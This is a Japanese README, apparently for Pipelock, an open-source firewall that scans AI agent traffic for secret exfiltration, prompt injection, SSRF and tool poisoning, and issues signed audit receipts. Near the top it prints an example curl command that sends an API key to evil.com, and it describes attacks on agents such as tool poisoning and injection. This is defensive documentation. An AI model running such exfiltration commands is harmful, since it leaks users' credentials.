
オープンソースのAIエージェントファイアウォールで、HTTP、MCP、A2A、WebSocketトラフィックをスキャンし、データ流出、SSRF、プロンプトインジェクションを検出し、監査用に検証可能な署名付きアクション領収書を発行します。
検証可能な出力制御のためのオープンソースAIエージェントファイアウォール。
PipelockはAIエージェントとネットワークの間に位置します。仲介されたHTTP、WebSocket、MCP、A2Aトラフィックに加え、TLSインターセプションが有効な場合のCONNECTトンネル内容を検査し、秘密情報の流出、プロンプトインジェクション、SSRF、ツールポイズニング、リスクのあるツール呼び出しチェーンを検出します。インターセプションなしの通常のCONNECTは、ホスト名とURLレベルでスキャンされます。
Pipelockは、コンテンツ認識型の境界決定に対して、メディエーター署名付きのアクション領収書を発行します。これにより、レビュー担当者はエージェントランタイムの外部でPipelockが決定した内容を検証できます。公開されているagent-egress-benchコーパスは、これらの検出機能をテストします。詳細: Open-source AI firewall。
連携先: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph
問題 · 検証 · クイックスタート · 動作確認 · 検出対象 · 機能 · アーキテクチャ · ドキュメント · プレイグラウンド · ブログ · Dosuに質問
ブラウザでライブプレイグラウンドをお試しください。Pipelockが価値あると思ったら、リポジトリにスターを付けて、他の人にも見つけてもらいましょう。
AIエージェントは環境変数に$PROVIDER_API_KEYを持ち、シェルアクセスも可能です。たった1回のリクエストでそれが漏洩する可能性があります:```bash
curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching
エージェントが実行するすべてのマシンアクションは、あなたの機密情報とオープンインターネットの間の境界を越える必要があります。Pipelockは、エージェントがそのプロキシ、MCPラッパー、サンドボックス、ホストコンテインメントモデル、またはクラスタデプロイメントトポロジを経由する際に、その境界となります。仲介されたアウトバウンドおよびインバウンドトラフィックをスキャンし、モードに基づいて攻撃をブロックまたはフラグ付けし、決定の署名付き証拠を記録します。
---
## 自分で検証する
ほとんどのエージェントセキュリティツールは、ダッシュボードを信頼するよう求めます。Pipelockは署名付き領収書を渡し、あなたが保持する鍵を使ってオフラインで自分で確認できるようにします。アカウントもサーバーも不要です。
組み込みのデモは、実際の攻撃シナリオを発火させ、それらをブロックし、署名付き領収書と公開鍵を設定不要、ネットワーク不要でディスクに書き込みます。```bash
pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)
スコアカードは各主張を個別に評価し、証明しないこと(Pipelockが仲介する境界外で何かが発生したかどうか)を明記します。その下には、記録された仲介決定とその判定、ハッシュリンクを記載した領収書タイムラインがあります。自身の限界について正直な領収書は、それらを隠す緑のチェックマークよりも優れています。
証拠ビューアーは無料であり、ライセンスは不要です。```bash pipelock evidence serve --receipt-dir ./out # read-only HTML report for one recorded session pipelock evidence view --receipt-dir ./out # static offline report, no server
Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. `pipelock anchor receipts` records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.
The full argument for why proof beats promises is in [demonstration over attestation](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/demonstration-over-attestation.md).
---
## クイックスタート```bash
# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest
# Set up local agent integrations and generate a config
pipelock init
# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/" # allowed
docker pull ghcr.io/luckypipewrench/pipelock:latest
brew install luckyPipewrench/tap/pipelock
</details>
<details>
<summary>リリースの整合性を確認</summary>```bash
gh attestation verify pipelock_3.2.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.2.0 --owner luckyPipewrench
Release workflows publish SLSA provenance, CycloneDX SBOMs, checksums, and signed container images. Source builds with go install produce a Community-only binary; pre-built release artifacts include paid-tier code that activates with a valid license key.
The Pro/Enterprise operator dashboard (pipelock dashboard serve) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.
The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.
pipelock report --input events.jsonl は、リスク評価、タイムライン、イベントカテゴリ、証拠付録を含むHTML、JSON、または署名済みバンドルレポートを生成します。無料のPrometheusおよびGrafanaパスは、単一のPipelockインスタンスを監視し、Enterprise Conductorフリートコントロールプレーンとは別のものです。
agent-egress-bench は、Pipelockまたは他のツールに対して、エージェントデータ流出およびプロンプトインジェクション攻撃のコーパスを実行します。数値は誰でも再現可能な実行結果であり、主張ではありません。
Pipelockは3つのモードで動作します:
検閲されていない、またはアブリテイトされたモデルを実行するエージェントに対しては、hostile-model プリセット がstrictモードに防御を追加します:積極的なエントロピー閾値、ネットワークツールの全面的なブロック、セッション結合、クロスリクエストのデータ流出検出、および事前設定されたキルスイッチ。pipelock audit は、依存関係シグナルを通じて既知のガードレール除去ツールチェーンを検出した場合、このプリセットを推奨します。
正直な評価: Strictモードは、許可リストに登録されたAPIドメインを除き、Pipelockを通過するアウトバウンドHTTPをブロックするため、プロキシ自体を介したデータ流出経路はありません。Balancedモードは、「1つのcurlコマンド」から「高度な計画攻撃」へとハードルを上げます。Auditモードは、現在はない可視性を提供します。サンドボックス(
pipelock sandbox)が有効になっている場合、またはホスト/クラスターの封じ込めトポロジーが適用されている場合、Pipelockはコンテンツ検査の上にOSまたはデプロイメント境界を追加します。プロキシ設定を無視する非協力的なツールに対しては、直接の出力はその境界によってブロックされる必要があります。
参考マトリックス: docs/comparison.md
正規の比較ハブ: AIランタイムセキュリティ比較
Pipelockは、AI出力プロキシ および MCPセキュリティコントロール です。AIエージェントとネットワークの間にインラインで配置され、出力および入力トラフィックをスキャンし、署名付きレシートと仲介メタデータを生成して、エージェントランタイム外での証明を行います。AARP/SVIDワークロードID評価は現在verifier側で行われており、プロキシおよびMCPランタイムは、ライブの許可/拒否判断でSVID証拠を消費したり、X.509-SVIDからレシートのアクターIDをバインドしたりしません。
block、strip、warn、ask です。text/event-stream レスポンスをトークンごとに処理し、イベントごとおよびロールするクロスイベントのDLPとインジェクションスキャンを実行します。検出によりストリームはフェイルクローズで終了します。詳細: SSEストリーミングガイドtools/call 引数全体で、一致したシークレット値を <pl:aws-access-key:1> のような型付きプレースホルダーに置き換えます。レシートには、平文のシークレットの代わりに、アクティブなプロファイルとクラスごとのカウントが記録されます。pipelock explain <url>( および も同様)は、スキャナ、レイヤー、マッチングルール、検査対象表面、および偽陽性に対する最も狭い設定可能な調整項目を出力します。詳細: PipelockはMCPサーバーを双方向スキャンでラップします:```bash
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp
pipelock mcp proxy --upstream http://localhost:8080/mcp
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
- **入力スキャン:** MCPクライアントのリクエストは、ツール引数内のDLP漏洩やインジェクションがないかチェックされます。
- **レスポンススキャン:** エージェントがサーバーレスポンスを確認する前にスキャンされます。
- **ツールポイズニング:** `tools/list`の説明文は、隠された指示やセッション中の突然の変更がないかチェックされます。
- **ツールポリシー:** 17の組み込みルールにより、実行前に破壊的なファイル削除、資格情報へのアクセス、リバースシェル、永続化メカニズム、エンコードされたコマンド実行、および関連する高リスクなツール呼び出しをブロックします。
- **ツール呼び出しチェーン:** 10の組み込みカテゴリアクシスパターンにより、偵察、資格情報の窃取、データのステージング、永続化、外部流出、およびコールバックチェーンを検出し、ギャップ許容度を設定可能です。
- **A2A検査:** Google Agent-to-Agentプロトコルのトラフィックは、フォワードパスとMCPパスで検査されます。PipelockはスタンドアロンのA2Aプロキシではありません。
- **認証済みMCP HTTPリスナー(v3.2.0):** 非ループバックMCPリスナーはデフォルトでクローズドにフェイルし、`--mcp-auth-token-file` が必要です。または、ネットワークポリシーで分離されたデプロイメントでは、明示的な `--mcp-allow-unauthenticated` が必要です。トークンレスのループバックリスナーは、DNSリバウンドや間違ったポートのHost Authorityを拒否し、リスナーの資格情報をヘッダーから除去します。
### コンテインメント
非特権プロセスのコンテインメントは、OSネイティブのプリミティブを使用します。Linuxは、Landlock、seccomp、ネットワーク名前空間を使用します。macOSは `sandbox-exec` プロファイルを使用します。コンテナ内では、名前空間の作成が制限されている場合、`--best-effort` によりLandlockとseccompが維持されます。ネットワークスキャンはプロキシベースのルーティングを使用します。```bash
pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server
ホストのコンテインメントはLinux上でさらに進んでいます:```bash pipelock contain install pipelock contain verify pipelock contain run -- claude-code
`pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` は、nftables owner-matchルーティング、systemdサービス設定、ラッパーコマンド、ワークスペースACL、CA更新、ポスチャエビデンスを使用した3-UIDオペレーター/プロキシ/エージェントモデルを管理します。詳細は[`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md)を参照してください。
### エビデンスと領収書
- **フライトレコーダー:** ハッシュチェーンされたJSONLエビデンスログで、Ed25519署名付きチェックポイントとDLP編集機能を備えています。`pipelock init`は、標準インストール用にレコーダーディレクトリと署名鍵をプロビジョニングします。レコーダーはディレクトリと鍵が存在するまで非アクティブな状態です。[フライトレコーダー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md)を参照してください。
- **アクション領収書:** 調停されたアクションに対して発行される署名付きレコードで、判定、ポリシーハッシュ、トランスポート、スキャナーレイヤーを含みます。ブロックは領収書を生成します。許可パス領収書の適用には`flight_recorder.require_receipts`が必要です。`pipelock verify-receipt --key <signer.pub>`で検証します。固定されていない実行は構造のみで、`--allow-unpinned`が渡されない限り、ゼロ以外の終了コードで終了します。
- **調停エンベロープ:** 転送されるHTTPリクエストとMCP `_meta`に関するRFC 8941サイドバンドメタデータで、アクションタイプ、判定、アクターID、ポリシーハッシュ、テイントコンテキスト、領収書相関IDを含みます。[フェデレーションガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md)を参照してください。
- **領収書適合性:** Go、TypeScript、Rust、Pythonの4つの独立したクロスランゲージ検証実装が、重複キー、整数オーバーフロー、対になっていないサロゲートなどの不正な入力や偽造可能な入力を含む共有[適合性コーパス](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/conformance/)に対して実行されます。ブラウザwasmサーフェスはGoの検証実装を再利用します。AARP/SVID評価は、ランタイムID適用ではなく、オフラインの検証プロファイルのままです。
- **アンカー:** `pipelock anchor receipts`は、領収書チェーンチェックポイントをローカルバックエンドまたはRekorに記録します。Rekorアンカリングは、後続の監査のための証明資料です。Rekor検証には固定されたログ鍵が必要であり、エンドツーエンドのオペレーター独立性のパスはまだ証明中です。
- **ポスチャカプセル:** `pipelock posture emit`と`pipelock posture verify`は、デプロイメントの適用ポスチャの署名済みスナップショットを作成およびチェックします。CIゲートとスコアリングモデルを備えており、レビューアーが境界が主張どおりに構成されていることを確認できます。
### フリートとエンタープライズ
- **オペレーターダッシュボード:** `pipelock dashboard serve`は、署名されたエビデンスの読み取り専用コンソールです。Proは概要、エビデンス、例外、エージェント、予算、信頼と鍵のビューをアンロックし、Enterpriseはフリート、ワークベンチ、インシデントのビューを追加します。[`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md)を参照してください。
- **無料エビデンスビューアー:** `pipelock evidence serve`および`pipelock evidence view`は、ライセンスやエージェント間列挙なしで、選択した1つのレコーダーセッションをレンダリングします。`pipelock evidence verify-cert`は、Pro発行のカバレッジ証明書をオフラインで検証します。
- **コンダクター:** Enterpriseフリートコントロールプレーン。署名済みポリシーバンドル配布、署名済みエビデンスシンク(`pipelock fleet-sink`)、登録、リモートキル、ロールバック、ドライラン、判断リプレイ、mTLS/SPIFFE経由のランタイム/適用状態ドリフト事前チェックを行います。フォロワーはローカルで適用し、デフォルトの古いポリシーモードは猶予ウィンドウ後に独立した拒否ソースを起動します。文書化された`continue_last_known_good`オーバーライドはそのポスチャを弱めます。コンダクターはエージェントの秘密を保持しません。[コンダクターガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md)を参照してください。
- **リーガルホールド:** `pipelock dashboard legal-hold add/list/release`は、保存義務をダッシュボードのHTTP権限の外部に保持されるコンプライアンスメタデータとして管理するため、侵害されたダッシュボードは保持を読み取ることはできても、偽造や削除はできません。
- **行動ベースライン:** MCPツール動作のプロファイル→ロックを行います。`pipelock baseline list/show/ratify/forget`を使用して、オペレーターの承認と再学習を行います。[`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md)を参照してください。
### 運用性
- **キルスイッチ:** 6つの独立した起動元:設定ファイル、リモートAPI、SIGUSR1、センチネルファイル、コンダクターリモートキル、古いバンドル検出。いずれかのアクティブな元がトラフィックをブロックし、コントローラー内のエンドポイントとIPの例外があります。
- **スキャンAPI:** `url`、`dlp`、`prompt_injection`、`tool_call`の判定をプログラムでスキャンします。ベアラートークン認証、トークンごとのレート制限、構造化された発見事項、Prometheusメトリクスを備えています。[docs/scan-api.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md)を参照してください。
- **ファイルシステムセンチネル:** Linux上で、エージェントの作業ディレクトリに書き込まれた秘密を監視し、書き込みをMCPサブプロセス系列に帰属させます。[docs/guides/filesystem-sentinel.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/filesystem-sentinel.md)を参照してください。
- **イベント出力:** プロキシホットパスをブロックせずに、監査イベントをSIEM、ウェブフック受信者、syslog、CEF、OTLP、メトリクス出力に転送します。[docs/guides/siem-integration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md)を参照してください。
- **セキュリティアセスメント:** `pipelock assess init`、`pipelock assess run`、`pipelock assess finalize`は、攻撃シミュレーション、設定スコアリング、インストール検証、MCPディスカバリーを調整し、再現可能なエビデンスバンドルにします。保護されていないMCPサーバーなどの重大な露出は、数値スコアに関係なくグレードを上限とします。無料サマリーではグレード、セクションスコア、トップの発見事項が表示されます。ライセンスにより、サーバー固有の発見事項、修復コマンド、Ed25519署名済みエビデンスを含む完全なレポートがアンロックされます。
<details>
<summary>その他の機能</summary>
| 機能 | 説明 |
|---------|-------------|
| **監査レポート** | `pipelock report --input events.jsonl`は、リスク評価、タイムライン、エビデンス付録を含むHTML/JSON/バンドルレポートを生成します。`--sign`でEd25519署名。([サンプルレポート](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/sample-report.html)) |
| **診断** | `pipelock diagnose`は、ネットワークなしで設定をエンドツーエンドで検証する7つのローカルチェックを実行します。 |
| **適用ドクター** (v2.5) | `pipelock doctor`は、プロキシ、TLSインターセプション、リクエストボディスキャン、ブラウザシールド、MCPラッピング、MCPバイナリ整合性、ツール出所、file_sentry、Sentry、デプロイメント境界シグナルについて、設定済みと適用可能の状況を報告します。 |
| **リクエストボディ注入ブロッキング** (v2.5) | リクエストボディのプロンプトインジェクションとクリティカルDLPの発見事項は、適用モードでフォワード、リバース、TLSインターセプト、WebSocketトランスポート全体の非プロバイダー宛先をハードブロックし、ブロック理由ヘッダーをオペレーターが見える診断のために提供します。 |
| **リクエストポリシー** (v2.6) | デフォルト許可の拒否/警告レールをアウトバウンドAPI操作に適用:ルートとGraphQL操作述語の一致、JSON `$batch`エンベロープへの再帰、パース不能または不透明なボディでのフェイルクローズ、コントラクトゲートの前に実行。[リクエストポリシーガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md)を参照してください。 |
| **TLSインターセプション** | オプションのCONNECTトンネルMITM:復号、ボディ/ヘッダー/レスポンスのスキャン、再暗号化。`pipelock tls init`がCAを生成し、`pipelock tls install-ca`がプラットフォームのトラストストアインストール手順を表示します。 |
| **ブロックヒント** | オプトインの`explain_blocks: true`は、ブロックされたレスポンスに修正提案を追加します。 |
| **プロジェクト監査** | `pipelock audit ./project`は、セキュリティリスクをスキャンし、カスタマイズされた設定を生成します。 |
| **設定スコアリング** (v2.6) | `pipelock audit score --config pipelock.yaml`は、23カテゴリにわたってセキュリティポスチャを評価し、170ポイントの予算とレターグレードを提供します。 |
| **ファイル整合性** | SHA256マニフェストが、ワークスペースファイルの変更、追加、削除を検出します。 |
| **Git保護** | `git diff \| pipelock git scan-diff`がコミット前に秘密をキャッチします。 |
| **Ed25519署名** | マルチエージェント信頼のための鍵管理、ファイル署名、署名検証。 |
| **セッションプロファイリング** | ドメインバーストとボリュームスパイクのセッションごとの行動分析。 |
| **適応的適用** | セッションごとの脅威スコア。警告からブロックへのエスカレーション、デエスカレーションタイマー、ドメインバースト検出。 |
| **適応的オペレーターCLI** (v2.5) | `pipelock adaptive status / flush / whoami`は、認証された管理APIを通じてランタイム適応状態を公開します。[`docs/cli/adaptive.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md)を参照してください。 |
| **発見事項抑制** | 設定ルールまたはインラインの`pipelock:ignore`コメントを通じて、既知の誤検知を沈黙させます。 |
| **マルチエージェントサポート** | `X-Pipelock-Agent`ヘッダーによるエージェント識別で、エージェントごとのフィルタリングが可能。 |
| **フリートモニタリング** | インスタンスごとのPrometheusメトリクスに加え、すぐにインポート可能な[Grafanaダッシュボード](https://github.com/luckypipewrench/pipelock/blob/HEAD/configs/grafana-dashboard.json)。無料の単一インスタンスモニタリング。コンダクターとは異なります。 |
| **オペレーターダッシュボード** (v3.1, Pro/Enterprise) | `pipelock dashboard serve`は、トークン、OIDC、またはmTLS認証、制限付きRBAC、生ビュー昇格、バックアップ/リストア、例外ライフサイクルレコード、カバレッジ証明書を備えた、読み取り専用の概要、エビデンス、例外、エージェント、予算、信頼と鍵、フリート、ワークベンチ、インシデントビューを提供します。[`docs/cli/dashboard.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md)を参照してください。 |
| **無料エビデンスビューアー** (v3.1) | `pipelock evidence serve`は、選択した1つのレコーダーセッションを、ライセンスなし、エージェント間列挙なしで読み取り専用のHTMLレポートとして提供します。`pipelock evidence verify-cert`は、Pro発行のカバレッジ証明書をオフラインで検証します。 |
| **コンダクター:フリートコントロールプレーン** (v2.7, Enterprise) | mTLS/SPIFFE経由の署名済みポリシーバンドル配布、署名済みエビデンス監査シンク(`pipelock fleet-sink`)、登録、リモートキル、ポリシーロールバック、ドライラン、判断リプレイ、ランタイム/適用状態ドリフト事前チェック。`fleet`ライセンス機能によってゲートされ、古いポリシー動作は明示的でデフォルトは厳格な拒否です。[コンダクターガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md)を参照してください。 |
| **A2Aスキャン** | エージェントカードポイズニング検出、カードドリフト監視、GoogleのAgent-to-Agentプロトコルにおけるフォワード/MCPパス上のセッション密輸防止。 |
| **行動ベースライン** | MCPツール動作のプロファイル→ロック。`pipelock baseline list/show/ratify/forget`でオペレーター承認と再学習。[`docs/cli/baseline.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md)を参照してください。 |
| **Denial-of-Wallet** | エージェントごとのMCP予算。総ツール呼び出し、同一ツールリトライ、ループ/サイクル検出、壁時計時間。 |
| **テイントエスカレーション** | MCPおよびタスク境界を越えた露出ベースのポリシーエスカレーション。信頼が回復するまで継続。 |
| **調停エンベロープ** | 転送されるHTTPリクエストとMCP `_meta`に関するRFC 8941サイドバンドメタデータ。インバウンド検証、リプレイ保護、SPIFFEアクター形式、RFC 9421署名鍵ディレクトリを備える。[フェデレーションガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md)を参照してください。 |
| **領収書適合性** | 独立したGo、TypeScript、Rust、Python実装にわたるクロス実装領収書検証スイート(`sdk/conformance/`)に加え、Goをバックエンドにしたブラウザwasmサーフェス。`EvidenceReceipt v2`はRFC 8785/JCS正規化を使用。AARP/SVID評価はオフラインの検証側に残ります。 |
| **学習とロック** (v2.4) | エージェントごとの行動契約:トラフィックを観察、署名済み候補契約をコンパイル、キャプチャした観察をシャドウでリプレイ、ルールごとに批准、署名済みアクティブマニフェストを昇格、URLベアリングトランスポートとMCPツール呼び出しでライブ適用。[学習とロックガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md)を参照してください。 |
| **ブロック理由ヘッダー** (v2.4) | HTTP対応ブロックパスに`X-Pipelock-Block-Reason`、MCP JSON-RPCエラーメタデータに同じ理由語彙。[ブロック理由ヘッダー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md)を参照してください。 |
| **ウェッジ検出ウォッチドッグ** (v2.4) | `health_watchdog`は、サブシステムハートビートが古くなると`/health`に503を返します。[ヘルスエンドポイントガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md)を参照してください。 |
| **編集プロバイダープラグイン形状** (v2.4) | Anthropic、OpenAI、GeminiチャットAPI用のファーストパーティ編集パーサーと、サードパーティパーサー用のプロバイダープラグイン形状。 |
| **監査パケットv0スキーマ+検証器** (v2.5) | ファーストパーティの正規監査パケットスキーマと、Go、TypeScript、Rustの検証実装、さらにスタンドアロンの[`pipelock-verifier`](https://github.com/luckypipewrench/pipelock/blob/HEAD/cmd/pipelock-verifier/)CLI。スキーマは[`sdk/audit-packet/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/audit-packet/)以下、検証パッケージは[`sdk/verifiers/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/sdk/verifiers/)以下にあります。 |
| **ホストコンテインメントライフサイクル** (v2.5) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh`は、3-UIDコンテインメントモデルを管理します。[`docs/contain-cli.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md)を参照してください。 |
| **MCP整合性マニフェスト** (v2.5) | `pipelock mcp integrity manifest generate / verify / sign / verify-signature`は、MCPサーバーバイナリ/スクリプトをハッシュで固定し、サブプロセス起動前に信頼できるマニフェスト署名を要求できます。[`docs/cli/mcp-integrity.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md)を参照してください。 |
| **Kubernetes MCPランチャーコントラクト** (v2.5) | `pipelock init sidecar --mcp-upstream`は、コンパニオンリスナー設定、サービスポート、ワークロードアノテーション、NetworkPolicy許可、`PIPELOCK_MCP_PROXY_URL`、マウントされた`PIPELOCK_MCP_CONFIG`を出力します。[`docs/cli/init-sidecar.md`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md)を参照してください。 |
| **フェデレーション厳格モード** (v2.5) | インバウンド調停エンベロープ検証ではデフォルトでSPIFFE形式のアクターが必要、コントラクトトゥームストーンが適用され、`pipelock envelope trust add/list/remove/verify`でローカル信頼を管理します。[フェデレーションガイド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md)を参照してください。 |
| **メディアポリシー** | JPEG/PNGからステガノグラフィックメタデータを除去、オーディオ/ビデオをデフォルトで拒否、SVGアクティブコンテンツを強化、画像サイズ制限を適用。[メディアポリシー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md)を参照してください。 |
| **コンプライアンスマッピング** | OWASP MCP Top 10、OWASP Agentic Top 15、OWASP LLM Top 10、NIST 800-53、EU AI法、調達/監査マッピング。 |
</details>
---
## 無料、Pro、Enterprise
すべての検出、適用、コンテインメント、およびシングルエージェントのエビデンスは、Apache 2.0のもとで永久に無料です。有料ティアでは、マルチエージェント調整(Pro)とフリートガバナンス+コンプライアンス(Enterprise)が追加されます。
| 機能 | 無料 | Pro | Enterprise |
|---|:--:|:--:|:--:|
| スキャンと検出(順序付けられたURLパイプライン、DLP、インジェクション、SSRF、ストリーミングSSE、編集、アドレス保護) | はい | はい | はい |
| MCPおよびA2Aスキャン(入力、レスポンス、ツールポリシー、ツールチェーン、ポイズニング、整合性、認証済みリスナー) | はい | はい | はい |
| コンテインメント、サンドボックス、ホスト`contain`、6ソースキルスイッチ | はい | はい | はい |
| アクション領収書、フライトレコーダー、アンカー、無料エビデンスビューアー、`verify-cert`、スタンドアロン検証器 | はい | はい | はい |
| カナリアトークン、スキルスキャン、`explain`、シングルインスタンスPrometheusおよびGrafana | はい | はい | はい |
| エージェントごとのプロファイル:ID、予算、設定とスキャナー分離、エージェントごとのサンドボックス | いいえ | はい | はい |
| ソースCIDRとネットワークセレクターによるエージェントごとのルーティング | いいえ | はい | はい |
| オペレーターダッシュボード:概要、エビデンス、例外、エージェント、予算、信頼と鍵 | いいえ | はい | はい |
| エージェントごとのカバレッジ証明書 | いいえ | はい | はい |
| リーガルホールドとコンプライアンスメタデータ | いいえ | はい | はい |
| コンダクターフリートコントロールプレーン、`fleet-sink`監査シンク、リモートキル、ロールバック、判断リプレイ、ドリフト事前チェック | いいえ | いいえ | はい |
| mTLSフォロワー登録とロスター検証済み署名ポリシー配布 | いいえ | いいえ | はい |
| ダッシュボードフリートビュー:フリート、ワークベンチ、インシデント | いいえ | いいえ | はい |
署名付き`pipelock assess`レポートは、ProおよびEnterpriseとは独立した個別の`assess`権限です。無料のアセスメントグレードは変わりません。
---
## 仕組み
Pipelockは**機能分離**を使用します:適用されたデプロイメントでは、エージェントプロセスは秘密を持ちますが、直接ネットワークアクセスはありません。Pipelockはネットワークアクセスを持ちますが、エージェントの秘密は持ちません。エージェントがプロンプトインジェクションを受けても、ファイアウォールの制御に到達することはできません。
3つのHTTPプロキシモード(同じポート)に加え、専用のMCPプロキシとフォワードおよびMCPパス上のA2A検査:
- **フェッチプロキシ**(`/fetch?url=...`):URLをフェッチし、テキストを抽出し、インジェクションをスキャンし、クリーンなコンテンツを返します。
- **フォワードプロキシ**(`HTTPS_PROXY`):アプリケーションコードの変更なしに標準のHTTP CONNECTトンネリング。プロキシ設定は依然として必要です。オプションのTLSインターセプションによりペイロードスキャンが可能になります。
- **WebSocketプロキシ**(`/ws?url=ws://...`):DLP + インジェクション検出による双方向フレームスキャン。
- **MCPプロキシ**(`pipelock mcp proxy`):stdioまたはHTTP MCPサーバーを双方向スキャンでラップします。
- **A2A検査**:Google Agent-to-AgentプロトコルのトラフィックがフォワードおよびMCPパスを通過する際に検査します。

<details>
<summary>テキスト図(端末用)</summary>```
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
ビルトインのプリセットから設定を生成するか、pipelock audit にプロジェクトに合わせて調整させます:```bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| CLI Preset | モード | アクション | 最適な用途 |
|------------|--------|----------|----------|
| `balanced` | balanced | warn | 汎用(デフォルト) |
| `strict` | strict | block | 高セキュリティ・規制産業向け |
| `audit` | audit | warn | ログのみの評価 |
| `claude-code` | balanced | block | Claude Code 無人実行 |
| `cursor` | balanced | block | Cursor IDE |
| `generic-agent` | balanced | warn | チューニング中の新規エージェント |
| `hostile-model` | strict | block | 検閲なし/アブリテーションモデル |
設定変更はファイルウォッチャーまたはSIGHUPによって検出されます。詳細は **[docs/configuration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md)** を参照してください。
誤検知チューニングについては: **[docs/false-positive-tuning.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md)**
---
## 統合ガイド
- **[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md):** MCPプロキシ設定、`.claude.json`の構成
- **[OpenAI Codex](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/codex.md):** MCPプロキシラッピング、フォワードプロキシ、サンドボックス統合
- **[Cline](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/cline.md):** Clineの`mcp.json`向けMCPプロキシラッピング
- **[OpenCode](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/opencode.md):** OpenCodeのローカルおよびリモートMCPサーバー向けMCPプロキシラッピング
- **[Zed](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/zed.md):** `settings.json`内のZedの`context_servers`ブロック向けMCPプロキシラッピング
